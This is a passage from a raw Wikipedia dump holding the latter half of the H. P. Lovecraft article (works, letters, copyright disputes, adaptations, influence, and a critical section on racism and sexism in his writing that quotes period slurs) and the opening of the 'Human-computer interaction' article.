==Survey of the work==
The definitive editions (specifically ''At the Mountains of Madness and Other Novels'', ''Dagon and Other Macabre Tales'', ''The Dunwich Horror and Others'', and ''The Horror in the Museum and Other Revisions'') of his prose fiction are published by [[Arkham House]], a publisher originally started with the intent of publishing the work of Lovecraft, but which has since published a considerable amount of other literature as well. In 2005 the prestigious Library of America canonized Lovecraft with a volume of his stories edited by [[Peter Straub]].

Lovecraft's poetry is collected in ''The Ancient Track: The Complete Poetical Works of H. P. Lovecraft'', while much of his juvenilia, various essays on philosophical, political and literary topics, antiquarian travelogues, and other things, can be found in ''Miscellaneous Writings''. Also, Lovecraft's essay ''Supernatural Horror in Literature'', first published in 1927, is a historical survey of horror literature available with endnotes as ''The Annotated Supernatural Horror in Literature''.

===Writing phases===
Lovecraft had three very distinct categories of fiction in which he wrote during his life. Although the groups' stories were often written in overlapping time periods with the other groups, there were still periods where almost all of Lovecraft's writings could be categorized in one of the below mentioned groups. It should be noted that these distinctions have been drawn by others and not by Lovecraft himself.
*[[Macabre]] stories (approximately 1905&amp;ndash;1920)
*[[H.P. Lovecraft's Dream-Cycle|Dream-Cycle]] stories (approximately 1920&amp;ndash;1927)
*[[Cthulhu Mythos]] stories (approximately 1925&amp;ndash;1935)
It might also be noted that some critics see little difference between the Dream-Cycle and the Mythos, often pointing to the recurring Necronomicon and subsequent 'gods'. A frequently given explanation is that the Dream-Cycle belongs more to the genre of fantasy, while the Mythos is science fiction.

===Letters===
Despite the fact that Lovecraft is mostly known for his works of weird fiction, the bulk of Lovecraft's writing mainly consists of voluminous letters about a variety of topics, from weird fiction and art criticism to politics and history. [[S. T. Joshi]] estimates that Lovecraft wrote about 87,500 letters from 1912 until his death in 1937 &amp;mdash; one famous letter from [[November 9]], [[1929]] to Woodburn Harris being 70 pages in length. 

Lovecraft was not a very active letter-writer in youth. In 1931 he admitted: &quot;In youth I scarcely did any letter-writing - thanking anybody for a present was so much of an ordeal that I would rather have written a two hundred fifty-line pastoral or a twenty-page treatise on the rings of Saturn.&quot; (SL 3.369&amp;ndash;70). The initial interest in letters stemmed from his correspondence with his cousin Phillips Gamwell but even more important was his involvement in the amateur journalism movement, which was responsible for the enormous number of letters Lovecraft produced. 

Lovecraft clearly states that his contact to numerous different people through letter-writing was one of the main factors in broadening his view of the world: &quot;I found myself opened up to dozens of points of view which would otherwise never have occurred to me. My understanding and sympathies were enlarged, and many of my social, political, and economic views were modified as a consequence of increased knowledge.&quot; (SL 4.389).

Today there are four publishing houses that have released letters from Lovecraft &amp;mdash; Arkham House with its five-volume edition ''Selected Letters'' being the most prominent. Other publishers are Hippocampus Press (''Letters to Alfred Galpin'' et al.), Night Shade Books (''Mysteries of Time and Spirit: The Letters of H. P. Lovecraft and Donald Wandrei'' et al.) and Necronomicon Press (''Letters to Samuel Loveman and Vincent Starrett'' et al).

===Intellectual property===

There is no little controversy over the [[copyright]] status of many of Lovecraft's works, especially his later works. All works published in the US before 1923 are [[public domain]]. However, there is some disagreement over who exactly owns or owned the copyrights and whether the copyrights for the majority of Lovecraft's works published post-1923 - including such prominent pieces as ''[[The Call of Cthulhu]]'' and ''[[At the Mountains of Madness]]'' - have now expired. 

Questions center over whether copyrights for Lovecraft's works were ever renewed under the terms of the [[USA]] [[Copyright Act of 1976]] for works created prior to [[January 1]] [[1978]]. If Lovecraft's work had been renewed they would be eligible for protection for 75-95 years after the author's death according to the [[Sonny Bono Copyright Term Extension Act]] of 1998. This means the copyrights would not expire on some of Lovecraft's works until 2019 at the earliest, providing that no further laws extend the periods of copyrights within the USA. Similarly, the [[European Union]] [[Directive on harmonising the term of copyright protection]] of 1993 extended the copyrights to 70 years after the author's death.

In those [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] countries who have implemented only the minimum copyright period, copyright expires 50 years after the author's death.

Lovecraft protégés and part owners of Arkham House, [[August Derleth]] and [[Donald Wandrei]] often claimed copyrights over Lovecraft's works. On [[October 9]], [[1947]] Derleth purchased all rights to ''[[Weird Tales]]''. However, since April 1926 at the latest, Lovecraft had reserved all second printing rights to stories published in ''Weird Tales''. Hence, ''Weird Tales'' may only have owned the rights to at most six of Lovecraft's tales. Again, even if Derleth did obtain the copyrights to Lovecraft's tales no evidence as yet has been found that the copyrights were renewed.[http://phantasmal.sourceforge.net/Innsmouth/LovecraftCopyright.html]

Prominent Lovecraft scholar [[S. T. Joshi]] concludes in his biography, ''H.P. Lovecraft: A Life'', that Derleth's claims are &quot;almost certainly fictitious&quot; and that most of Lovecraft's works published in the amateur press are most likely now in the public domain. The copyright for Lovecraft's works would have been inherited by the only surviving heir of his 1912 will: Lovecraft's aunt, [[Annie Gamwell]]. Gamwell herself perished in 1941 and the copyrights then passed to her remaining descendants, [[Ethel Phillips Morrish]] and Edna Lewis. Morrish and Lewis then signed a document, sometimes referred to as the Morrish-Lewis gift, permitting [[Arkham House]] to republish Lovecraft's works but retaining the copyrights for themselves. Searches of the [[Library of Congress]] have failed to find any evidence that these copyrights were then renewed after the 28 year period and, hence, it is likely that these works are now in the public domain.

According to [[Peter Ruber]]'s (the current editor of Arkham House) essay, ''The Un-Demonizing of August Derleth'', certain letters obtained in June 1998 detail the Derleth-Wandrei acquisition of Lovecraft's estate. It is unclear whether these letters contradict Joshi's views on Lovecraft's copyrights.[http://www.epberglund.com/RGttCM/nightscapes/NS15/ns15nf01.htm]

[[Chaosium]], publishers of the [[Call of Cthulhu (role-playing game)|Call of Cthulhu role-playing game]], have a [[trademark]] on several Lovecraftian phrases and creations, including &quot;The Call of Cthulhu&quot; for use in game products. Another RPG publisher, [[TSR, Inc.]], original publisher of [[Dungeons and Dragons|Advanced Dungeons &amp; Dragons]], included in one of that game's earlier supplements, [[Deities &amp; Demigods]], a section on the Cthulhu Mythos; TSR, Inc. was later forced to remove this section from subsequent editions because of Chaosium's trademark.

Regardless of the legal disagreements surrounding Lovecraft's works, Lovecraft himself was extremely generous with his own works and actively encouraged others to borrow ideas from his stories, particularly with regard to his Cthulhu Mythos. By &quot;wide citation&quot; he hoped to give his works an &quot;air of verisimilitude&quot; and actively encouraged other writers to reference his creations, such as the ''Necronomicon'', Cthulhu and Yog-Sothoth. After his death, many writers have contributed stories and enriched the shared mythology of the Cthulhu Mythos, as well as making numerous references to his work (see [[References to the Cthulhu mythos|References to the Cthulhu Mythos]]).

== Locations featured in Lovecraft stories ==
Lovecraft drew extensively from his native New England for settings in his fiction.  Numerous real historical locations are mentioned, and several fictional New England locations make frequent appearances.

=== Historical locations ===
* [[Copp's Hill]], [[Boston, Massachusetts]]
* [[Red Line (MBTA)]]
* [[Cranston, Rhode Island|Pawtuxet]] (not extant)
* [[Newburyport, Massachusetts]]
* [[Ipswich, Massachusetts]]
* Many locations within his hometown of [[Providence, Rhode Island]], including the (then purportedly haunted) Halsey House, Prospect Terrace, and [[Brown University|Brown University's]] John Hay Library and John Carter Brown Library.

=== Fictional locations ===
* [[Miskatonic University]] in the fictional [[Arkham]], [[Massachusetts]]
* [[Innsmouth]]
* [[Dunwich (H. P. Lovecraft)|Dunwich]]

== Bibliography ==
*[[List of Works by H. P. Lovecraft]]

==Books==
{{Wikisource author}}

* McInnis, John L. (1975). ''H.P. Lovecraft: The maze and the minotaur''. (Doctoral dissertation, Louisiana State University, Baton Rouge).

*From [[Arkham House]]
**Definitive versions with corrected texts by [[S. T. Joshi]]:
***''At the Mountains of Madness, and Other Novels'' (7th corrected printing), S. T. Joshi (ed.), 1985.  ISBN 0-870-54038-6.
***''Dagon and Other Macabre Tales'', S. T. Joshi (ed.), 1987. ISBN 0-870-54039-4..
***''The Dunwich Horror and Others'' (9th corrected printing), S. T. Joshi (ed.), 1984. ISBN 0-870-54037-8.
***''The Horror in the Museum and Other Revisions'', S.T. Joshi (ed.), 1989. ISBN 0-87054-040-8.
**''[[Miscellaneous Writings]]'' (ISBN 0870541684)
*From [[Ballantine]]/[[Del Rey]]:
**''[[The Tomb and Other Tales]]'' (ISBN 0345336615)
**''[[Tales of the Cthulhu Mythos]]'' (ISBN 034542204)
**''[[The Doom That Came to Sarnath]]'' (ISBN 0345331052)
**''[[The Lurking Fear and Other Stories]]'' (ISBN 0345326040) 
**''[[The Dream-Quest of Unknown Kadath]]'' (ISBN 0345337794) 
**''[[The Case of Charles Dexter Ward]]'' (ISBN 0345354907)
**''[[At the Mountains of Madness|At the Mountains of Madness and Other Tales of Terror]]'' (ISBN 0345329457) 
**''[[The Best of H. P. Lovecraft: Bloodcurdling Tales of Horror and the Macabre]]'' (ISBN 0345350804)
**''[[The Road to Madness]]'' (ISBN 0345384229)   
**''[[Dreams of Terror and Death: The Dream Cycle of H. P. Lovecraft]]'' (ISBN 0345384210)
**''[[Waking Up Screaming: Haunting Tales of Terror]]'' (ISBN 034545829X)
*From [[Night Shade Books]]:
**''[[The Ancient Track: The Complete Poetical Works of H. P. Lovecraft]]'' (ISBN 1892389169)
**''[[Mysteries of Time and Spirit: The Letters of H.P. Lovecraft and Donald Wandrei]]'' (ISBN 1892389495)
*From Hippocampus Press:
**''[[The Shadow out of Time]]'' (ISBN 0967321530)
**''[[From the Pest Zone: The New York Stories]]'' (ISBN 0967321581)
**''[[The Annotated Fungi From Yuggoth]]'' (ISBN 0972164472)
**''[[Collected Essays]]'' (ISBN 0972164413)
**''[[The Annotated Supernatural Horror in Literature]]'' (ISBN 0967321506 )
**''[[H. P. Lovecraft: Letters to Alfred Galpin]]'' (ISBN 096732159X)
**''[[H. P. Lovecraft: Letters To Rheinhart Kleiner]]'' (ISBN 0974878952)
**''[[Lovecraft's Library: A Catalogue]]'' (ISBN 0967321573)
**''[[Primal Sources: Essays on H. P. Lovecraft]]'' (ISBN 0972164405)
**''[[An H. P. Lovecraft Encyclopedia]]'' (ISBN 097487891X)
*From Fenham Publishers:
**''[[The Gentleman From Angell Street: Memories of H.P. Lovecraft]]'' (ISBN 0970169914)

==Adaptations==

===Movies===

&lt;!-- ***PLEASE***, do not add movies here which are merely &quot;Lovecraftian&quot; (see &quot;Lovecraftian horror&quot;) or which make references to the Mythos (see &quot;References to the Cthulhu mythos&quot;), as those are cataloged elsewhere already. This section is purely for adaptations of lovecraft's work or biographical films. If you're not sure, check the above mentioned two pages and see if the film is listed there. Then check the IMDB to see if Lovecraft is given story credit for the film. --&gt;

Films based (generally ''very'' loosely) on specific Lovecraft works (partial list only; see [http://www.imdb.com/name/nm0522454/ Lovecraft's IMDB entry] for a more complete selection):
*''Cool Air'' (1998), Adaptation by Bryan Moore starring Jack Donner ([http://www.imdb.com/title/tt0200546/combined IMDb entry])
*''The Curse'' (1987) Adaptation of &quot;[[The Colour out of Space]]&quot; ([http://www.imdb.com/title/tt0092809/ IMDb entry])
*''Dagon'' (2001), based less on Lovecraft's story of the same name as on ''The Shadow over Innsmouth'' ([http://www.imdb.com/title/tt0264508/ IMDb entry])
*''Die, Monster, Die!'' (1965) (another adaptation of &quot;The Colour out of Space&quot;) ([http://imdb.com/title/tt0059465/ IMDb entry])
*''The Dream-Quest of Unknown Kadath'' (2003), an animated adaptation of the book by the same name ([http://www.petting-zoo.org/Movies_Dreamquest.html Official Site]) ([http://www.imdb.com/title/tt0384057/ IMDb entry])
*''[[The Dunwich Horror]]'' (1970) ([http://www.imdb.com/title/tt0065669/ IMDb entry])
*''From Beyond'' (1986) ([http://www.imdb.com/title/tt0091083/ IMDb entry])
*''The Haunted Palace'' (1963), an adaptation of ''The Case of Charles Dexter Ward'' ([http://us.imdb.com/Title?0057128 IMDb entry])
*''Necronomicon'' (1994) Three short films based on his stories (The Rats in the Walls, Cool Air, The Whisperer in Darkness) ([http://imdb.com/title/tt0107664/ IMDb entry]) Curiously, this film depicts Lovecraft himself stealing the Necronomicon from some sort of religious order.
*''Out of Mind: The Stories of H.P. Lovecraft'' (1998), Excellent Lovecraft sampler. Show on ''[[Bravo!]]'' [http://www.imdb.com/title/tt0213968/combined IMDb entry]
*''[[Re-Animator]]'' (1985) Comedic adaptation of &quot;''Herbert West, the Re-Animator''&quot; which had two sequels ([http://www.imdb.com/title/tt0089885/ IMDb entry])
*''The Resurrected'' (1992) Adaptation of ''The Case of Charles Dexter Ward'' ([http://www.imdb.com/title/tt0105242/ IMDb entry])
*''Rough Magik'' (2000), BBC pilot for a Call of Cthulhu show ala &quot;X-Files&quot; starring Paul Darrow ([http://www.lurkerfilms.com Available on DVD])
*''The Call of Cthulhu'' (2005) Highly faithful adaptation of the short story; B/W, silent film, short film ([http://www.imdb.com/title/tt0478988/ IMDb entry: Available on DVD])
*[http://it.wikipedia.org/wiki/Il_mistero_di_Lovecraft_-_Road_to_L. ''Il mistero di Lovecraft - Road To L.''] (2005), feature film mockumentary based on a diary which states that Lovecraft was in Italy in 1926 ([http://www.roadtol.com Official Site]) ([http://www.rarovideo.com available on DVD here]) ([http://www.imdb.com/title/tt0461331/ IMDb entry])

== Documentary and Historical Films==
*''The Eldritch Influence:The Life, Vision, and Phenomenon of H.P. Lovecraft
'' (2003), Hermetic Productions Looks at the influence of Lovecraft uponlarge number of artists, writers, mystics, and fanatics, via extensive interviews with Lovecraft biographer S.T. Joshi, authors Ramsey Campbell, Neil Gaiman, Brian Lumley, and filmmaker Stuart Gordon. 
([http://www.imdb.com/title/tt0388914/IMDb entry])



===Radio production===
*''The Call of Cthulhu'' (Broadcast in Tasmania, on Lovecraft's 100th birthday)
*''Jeffrey Combs reads Herbert West&amp;mdash;Reanimator'' (Audio book CD by Beyond Books/Lurker Films)
*''At the Mountains of Madness''  (Atlanta Radio Theater Company,  www.artc.org)
*''The Dunwich Horror''  (Atlanta Radio Theater Company,  www.artc.org)
*''The Rats in the Walls''  (Atlanta Radio Theater Company,  www.artc.org)
*''The Shadow Over Innsmouth''  (Atlanta Radio Theater Company,  www.artc.org)

==Lovecraft's influence in popular culture==
:''Main article: [[Lovecraftian horror]]''

Beyond direct adaptation, Lovecraft and his stories have had a profound (if sometimes indirect and unnoticed) impact on popular culture, and has been praised by many modern writers of horror, science fiction, and fantasy. Much of his influence is secondary, as he was a friend, inspiration, and correspondent to many authors who would gain fame through their creations.  He was a friend of [[Conan the Barbarian]] creator [[Robert E. Howard]]; [[Robert Bloch]], author of ''[[Psycho]]''; and [[Frank Belknap Long]], Lovecraft's biographer and contributor to the Mythos.

Many later creators of horror writing and films show influences from Lovecraft, including [[Clive Barker]], [[H. R. Giger]] and [[John Carpenter]]. Many authors have written stories that are explicitly set in the same &quot;universe&quot; as Lovecraft's original stories.

Lovecraft [[pastiche]]s are common. For more examples of specific references to and uses of the Mythos in popular culture, see [[References to the Cthulhu mythos|References to the Cthulhu Mythos]].

Lovecraft's &quot;universe&quot; is so distinctive that he is an [[eponym]] for strange creatures and settings. ''Lovecraftian'' horror may mean a story that references the Mythos, or that is simply too bizarre to be classified as normal horror. Examples include beings with hideous and completely unnatural features (innumerable sets of [[eyes]], far too many limbs) or architecture or geography of ''inhuman'' or ''alien'' design (such as the city of R'lyeh, which makes exclusive use of curves in its architecture). Lovecraftian horror stands in contrast to the predominantly humanoid and [[anthropomorphism|anthropomorphic]] designs in mainstream horror and [[mythology]].

==Race, Class, and Sex==
The [[racist]], [[classist]] and [[sexist]] themes in much of Lovecraft's writing evoke strong reactions in many modern readers. Lovecraft was an avowed [[Anglophile]], and held [[England|English]] culture to be the pinnacle of civilization, with the descendants of the English in America as something of a second-class offshoot, and everyone else below them (see, for example, his poem ''[http://en.wikisource.org/wiki/An_American_to_Mother_England An American to Mother England]''). Lovecraft's writing showed a distinct disinclination towards mixing with other ethnic groups, reverence for birth-issued social status, and a preference for traditional social roles for women.

Racial, ethnic, class, and sexual [[stereotype]]s are frequently encountered in Lovecraft's work. A typical example of this sentiment is found in the name of the black cat &quot;Nigger-Man&quot; in his tale ''[[The Rats in the Walls]]'', which was actually the name he gave to his real-life cat. The narrator in &quot;The Rats in the Walls&quot; expresses sentiments which could be considered hostile towards [[Jews]] (although several of Lovecraft's closer friends and correspondents were Jewish), [[Italians]], and [[Poles]]. Racist views can also be found in his poetry, particularly in ''On the Creation of Niggers,'' and ''New England Fallen'' (both 1912).

Contemporary critics have decried Lovecraft's presumed [[white supremacy|white supremicism]], particularly in the treatment of immigrants and [[African-American]]s. However, Lovecraft does not spare even northern European ethnic groups from his onslaught of negative ethnic stereotyping. The degenerate descendants of [[Dutch_people|Dutch]] immigrants in the [[Catskill Mountains]], &quot;who correspond exactly to the decadent element of [[white trash]] in the [[Southern United States|South]],&quot; (''Beyond the Wall of Sleep'', 1919) are common targets. ''The Temple'' presents a stereotypically arrogant and coldly murderous [[Prussia]]n aristocrat, a [[U-boat]] captain in [[World War I]] who makes frequent references to his &quot;iron German will,&quot; supremely rational Prussian mental powers, and the insignificance of human life compared to the need to glorify the [[Fatherland]].

Perhaps the best example of his classist views can be found in the short story ''Cool Air'' (1926): the (presumably [[Anglo-Saxon]]) narrator speaks disparagingly of the poor [[Hispanic]]s of his neighborhood, but he worshipfully respects the wealthy and aristocratic [[Spaniard]] Dr. Muñoz, &quot;a man of birth, cultivation, and discrimination.&quot;

Lovecraft drew upon the history of his own ethnic group for the environment of much of his work, and his love for Anglo-Saxon history and culture is often-times repeated in his work (such as King [[Kuranes]]' nostalgia for England in ''[[The Dream-Quest of Unknown Kadath]]''). Characteristically, this history is viewed sardonically.

A major Lovecraftian theme is the individual who finds that his lineage is accursed or interbred with a non-human strain.  Important examples are ''Facts Concerning the Late Arthur Jermyn and His Family'' (1920), ''The Rats in the Walls'' (1923), and ''The Shadow over Innsmouth'' (1931).  This theme may represent concerns relating to Lovecraft's own family history, particularly the death of his father due to what Lovecraft must have suspected to be a [[syphilis|syphilitic]] disorder.

Lovecraft expressed racist and ethnocentric beliefs in his personal correspondence, and he gave a thorough summary of his views on race and culture in a letter to J. Vernon Shea written [[September 25]], 1933.  This letter, 648, can be found in the book ''Selected Letters IV'' published by [[Arkham House]]. 

Women in Lovecraft's fiction are rare, and the few leading female characters in his stories often turn out to be agents of some evil, alien force. Paradoxically, Lovecraft married a woman of [[Ukraine|Ukrainian]] [[Jewish]] ancestry, Sonia Greene.

Lovecraft's blunt expressions of his views on race, class, and sex may shock the early 21st century reader, but his attitudes and the frankness with which he expressed them were not at all unusual during Lovecraft's lifetime. The [[eugenics]] movement, for example, was quite mainstream in the [[United States]] and most of [[Europe]] before [[World War II]], to the point where harsh eugenics policies were actually written into the law in many US states. [[Racial segregation]] was still legally enforced throughout much of the United States. Very many prominent individuals in these times openly avowed attitudes similar to or even harsher than Lovecraft's.

==Further reading==
In the past few decades, the quantity of books ''about'' Lovecraft has increased considerably. Also, Lovecraft's stories themselves have enjoyed a veritable publishing renaissance in recent years. The titles mentioned below are a small sampling.

''Lovecraft, a Biography'', written by [[L. Sprague de Camp]], published in 1975, and now [[out of print]], was Lovecraft's first full-length biography. [[Frank Belknap Long]]'s ''Howard Phillips Lovecraft: Dreamer on the Night Side'' ([[Arkham House]], 1975) presents a more personal look at Lovecraft's life, combining reminiscence, biography, and literary criticism. Long was a friend and correspondent of Lovecraft, as well as a fellow fantasist who wrote a number of Lovecraft-influenced Cthulhu Mythos stories (including ''The Hounds of Tindalos''). A newer, more extensive biography is ''H. P. Lovecraft: A Life,'' written by Lovecraft scholar [[S. T. Joshi]]. It was for a long time [[out of print]], but has recently been republished by [[Necronomicon Press]], with a new afterword by the author.  Used copies of the first edition are rare.  An adequate alternative is Joshi's abridged ''A Dreamer &amp; A Visionary: H. P. Lovecraft in His Time''.  Most recently, an English translation of [[Michel Houellebecq]]'s ''HP Lovecraft: Against the World, Against Life'' was published by Believer Books in 2005.

Other significant Lovecraft-related works are ''An H. P. Lovecraft Encyclopedia'' (informative but expensive) and ''Lovecraft's Library: A Catalogue'' (a meticulous listing of many of the books in Lovecraft's now scattered library), both by Joshi, and also ''Lovecraft at Last,'' an account by [[Willis Conover]] of his teenage correspondence with Lovecraft. For those interested in studying in detail Lovecraft's writings and philosophy, Joshi's ''A Subtler Magick: The Writings and Philosophy of H. P. Lovecraft'' is useful both for the analysis it provides and for the thorough bibliography appended to it. [[Andrew Migliore]] and John Strysik's ''Lurker in the Lobby: A Guide to the Cinema of H.P. Lovecraft'' and  [[Charles P. Mitchell]]'s ''The Complete H. P. Lovecraft Filmography'' are both practicable for their discussion of films containing Lovecraftian elements (see [[H._P._Lovecraft#Adaptations|Adaptations]], below).

Lovecraft's prose fiction has been published numerous times, but, even ''after'' the &quot;corrected texts&quot; were released by Arkham House in the 1980s, many non-definitive collections of his stories have appeared, including Ballantine Books editions and, also, three popular Del Rey editions, which nonetheless have interesting introductions. The two collections published by Penguin, ''The Call of Cthulhu and Other Weird Stories'' and ''The Thing on the Doorstep and Other Weird Stories'', incorporate the modifications made in the corrected texts.

Many readers, when they first encounter Lovecraft's works, find his writing style difficult to read &amp;mdash; owing, no doubt, to his fondness for adjectives, long paragraphs, and archaic diction. This characteristic style differs greatly from the fashion standards in literature of the early 21st century. Also, Lovecraft's early 20th century perspective yielded references in his works to objects and ideas that may be unfamiliar to modern readers. Some of Lovecraft's writings, however, are annotated with [[footnote]]s or [[endnote]]s. In addition to the Penguin editions mentioned above and ''The Annotated Supernatural Horror in Literature'', Joshi has produced ''The Annotated H. P. Lovecraft'' as well as ''More Annotated H. P. Lovecraft'', both of which are footnoted extensively.

Lastly, ''The Philosophy of H. P. Lovecraft'' presents an excellent and extensive study of Lovecraft's use of language, which further reveals the depth of his writings.

==External links==
{{wikiquote}}
{{wikisource author}}
*[http://www.hplovecraft.com/ The H. P. Lovecraft Archive]
*[http://www.hplfilmfestival.com The HP Lovecraft Film Festival] - Annual film festival held in Portland Oregon
*[http://www.lurkerfilms.com Lurker Films] - Distributor of Lovecraft related films on DVD
*[http://lovecraft.cjb.net &quot;The Ultimate Cthulhu Mythos Book List&quot;] - Listing of all mythos novels, anthologies, collections, comic books, and more.
*[http://www.templeofdagon.com/ H. P. Lovecraft and Cthulhu Mythos Information and Forum]
*[http://www.netherreal.de/library/lexicon/ The Cthulhu Lexicon]
*[http://www.netherreal.de/library/timeline/ When the Stars are Right... (Cthulhu Mythos chronology)]
*[http://www.themodernword.com/scriptorium/lovecraft.html Essay on Lovecraft by S. T. Joshi]
*[http://books.guardian.co.uk/extracts/story/0,6761,1498708,00.html Extract from Michel Houellebecq's ''HP Lovecraft: Against the World, Against Life'']
*[http://www.dagonbytes.com/thelibrary/lovecraft/ A number of stories by H.P. Lovecraft]
*[http://www.noveltynet.org/content/books/lovecraft/index.php The Complete (?) Works of H.P. Lovecraft in PDF format]
*[http://www.cthulhulives.org The HP Lovecraft Historical Society]
*[http://terror.org.pl/~darkeye/bookz/hor_lovecraft.html Library of Bookz - Biblioteka - Horror - H.P. Lovecraft - (Spiral of Life)]
*[http://www.rinf.com/e-books/HP-Lovecraft.html H.P. Lovecraft Ebooks]
*[http://www.lovecraftcountry.com Lovecraft Country]
*[http://www.hermeticproductions.com/eldweb/dvd.html The Eldritch Influence]
* {{isfdb name|id=H._P._Lovecraft|name=H. P. Lovecraft}}

{{featured article}}
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[[Category:1937 deaths|Lovecraft, H. P.]]
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[[Category:Atheists|Lovecraft, H. P.]]
[[Category:Autodidacts|Lovecraft, H. P.]]
[[Category:Cat lovers|Lovecraft, H. P.]]
[[Category:Cthulhu mythos|Lovecraft, H. P.]]
[[Category:American fantasy writers|Lovecraft, H. P.]]
[[Category:H.P. Lovecraft|*]]
[[Category:American horror writers|Lovecraft, H. P.]]
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  <page>
    <title>Human-computer interaction</title>
    <id>13516</id>
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      <minor />
      <comment>disambiguation from [[Chi]] to [[Chi (letter)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Human-computer interaction''' ('''HCI''') or, alternatively, '''computer-human interaction''' (symbolized as '''Χ χ [[Chi (letter)|Chi]]''', the 22nd letter of the Greek alphabet) is the study of interaction between people ([[user (computing)|user]]s) and [[computer]]s.  It is an interdisciplinary subject, relating [[computer science]] with many [[List of human-computer interaction topics|other fields]] of study and research.  Interaction between users and computers occurs at the [[user interface]] (or simply ''[[User interface|interface]]''), which includes both [[software]] and [[computer hardware|hardware]], for example, general purpose computer [[peripherals]] and large-scale mechanical systems such as aircraft and power plants.

==Aspects and goals==
===Interdisciplinary aspects===
Combined with computer science and information technology are fields including:
*[[Aesthetics]]
*[[Anthropology]]
*[[Artificial intelligence]]
*[[Cognitive science]]
*[[Computer vision]]
*[[Design]]
*[[Ergonomics]]
*[[Human factors]]
*[[Library and information science]]
*[[Philosophy]]
*[[Phenomenology]]
*[[Psychology]]
*[[Social psychology]]
*[[Sociology]]
*[[Speech-language pathology]]

===Goals=== 
A basic goal of HCI is to improve the interaction between users and computers by making computers more [[user-friendliness|user-friendly]] and receptive to the user's needs. Specifically, HCI is concerned with
* methodologies and processes for designing interfaces (i.e., given a task and a class of users, design the best possible interface within given constraints, optimizing for a desired property such as learnability or efficiency of use)
* methods for implementing interfaces (e.g. software toolkits and [[library (computer science)|libraries]]; efficient [[algorithm]]s)
* techniques for evaluating and comparing interfaces
* developing new interfaces and interaction techniques
* developing descriptive and predictive models and theories of interaction

A long term goal of HCI is to design systems that minimize the barrier between the human's cognitive model of what they want to accomplish and the  computer's understanding of the user's task (see [[CSCW]]).

Professional practitioners in HCI are usually designers concerned with the practical application of design methodologies to real-world problems.  Their work often revolves around designing [[graphical user interface]]s and [[web design|web interfaces]].

Researchers in HCI are interested in developing new design methodologies, experimenting with new hardware devices, prototyping new software systems, exploring new paradigms for interaction, and developing models and theories of interaction.

==Terminology==
* '''HCI''' vs '''CHI'''. The acronym CHI (pronounced ''kai''), for '''c'''omputer-'''h'''uman '''i'''nteraction, has been used to refer to this field, perhaps more frequently in the past than now.  However, researchers and practitioners now refer to their field of study as HCI (pronounced as an [[acronym and initialism|initialism]]), which perhaps rose in popularity partly because of the notion that the human, and the human's needs and time, should be considered first, and are more important than the machine's.  This notion became increasingly relevant towards the end of the 20th century as computers became increasingly inexpensive (as did CPU time), small, and powerful. Since the turn of the millennium, the field of [[human-centered computing]] has emerged as an even more pronounced focus on understanding human beings as actors within socio-technical systems. 

* '''[[Usability]]''' vs '''Usefulness'''. Design methodologies in HCI aim to create [[user interface]]s that are usable, i.e. that can be operated with ease and efficiency.  However, an even more basic requirement is that the [[user interface]] be ''useful'', i.e. that it allow the user to complete relevant tasks.

* '''[[intuition|Intuitive]]''' and '''Natural'''. Software products are often touted by marketeers as being &quot;intuitive&quot; and &quot;natural&quot; to use, often simply because they have a [[graphical user interface]]. Many researchers in HCI view such claims as unfounded (e.g. a poorly designed GUI may be very unusable), and some object to the use of the words ''intuitive'' and ''natural'' as vague and/or misleading, since these are very context-dependent terms.

* '''Data Density''' and '''Information Absorption'''. The rapid growth in the density of computer screen real estate has created an opportunity to accelerate &quot;information absorption&quot; to much higher levels. Classic &quot;data density&quot; on a computer is 50-100 data points, recent advances in data visualization enable thousands of data points to be presented in forms which can be rapidly absorbed. Interfaces such as virtual reality will give further growth the potential density of information presented.

==Design methodologies==
A number of diverse methodologies outlining techniques for human-computer interaction design have emerged since the rise of the field in the 1980s. Most design methodologies stem from a model for how users, designers, and technical systems interact. Early methodologies, for example, treated users' cognitive processes as predictable and quantifiable and encouraged design practitioners to look to cognitive science results in areas such as memory and attention when designing user interfaces. Modern models tend to focus on a constant feedback and conversation between users, designers, and engineers and push for technical systems to be wrapped around the types of experiences users want to have, rather than wrapping user experience around a completed system.

* '''[[User-centered design]]''': User-centered design (UCD) is a modern, widely practiced design philosophy rooted in the idea that users must take center-stage in the design of any computer system. Users, designers, and technical practitioners work together to articulate the wants, needs, and limitations of the user and create a system that addresses these elements. Often, user-centered design projects are informed by [[ethnography|ethnographic]] studies of the environments in which users will be interacting with the system.

* '''[[Contextual Usability]]''': Contextual Usability (CU) is a framework also arising from the ‘ethnographic turn’ in the human, social and computer sciences and during the 1990s, although statistical direct observation methods and system-logging also play a role in its analysis. CU seeks to privilege neither users nor technology within a use or usage process. As such it links usability, ergonomics and user experience design to ideas emerging from [[social studies of science and technology|social studies of science and technology]] such as [[actor-networks]] and [[sociotechnical constituencies|sociotechnical constituencies]] . It seeks to locate motivations, instances and circumstances of use against social, cognitive and cultural influences. These can promote or negate the formation of usage patterns and periodicities. It views usability as a project (in design) and an experience (in use), one which is 'just outside' the boundaries of design affect and 'just inside' a potential or actual users whole experience of an artifact or service. It generates data according to a quadrant which includes use, usability, usage, and usefulness. It is most associated with the work of Derek William Nicoll.

==Academic conferences==
One of the top academic conferences for new research in human-computer interaction, especially within [[computer science]], is the annually held [[Association for Computing Machinery|ACM]]'s Conference on Human Factors in Computing Systems, usually referred to by its short name CHI (pronounced ''kai'', or ''khai'').  CHI is organized by [http://www.acm.org/sigchi/ ACM SIGCHI] Special Interest Group on Computer-Human Interaction.  CHI is a large, highly competitive conference, with thousands of attendants, and is quite broad in scope.

*[http://www.hci-international.org HCI International]

*[http://www.chi2006.org/ CHI 2006]
*[http://www.chi2005.org/ CHI 2005]
*[http://www.chi2004.org/ CHI 2004]

There are also dozens of smaller, more specialized HCI-related conferences held around the world each year.
* [http://www.acm.org/uist/ UIST 2005] &amp;mdash; [[Association for Computing Machinery|ACM]] Symposium on User Interface Software and Technology
* [[NIME]] &amp;mdash; International Conference on New Interfaces for Musical Expression
* [http://www.ozchi.org/ Australian HCI Conference]

==See also==
* [[Topics in human-computer interaction]]
* [[Interaction Design]]
* [[Usability Engineering]]
* [[User interface]]

==References==
===General===
* Ronald M. Baecker, Jonathan Grudin, William A. S. Buxton, Saul Greenberg (1995): ''Readings in human-computer interaction. Toward the Year 2000''. 2. ed. Morgan Kaufmann, San Francisco 1995 ISBN 1-558-60246-1
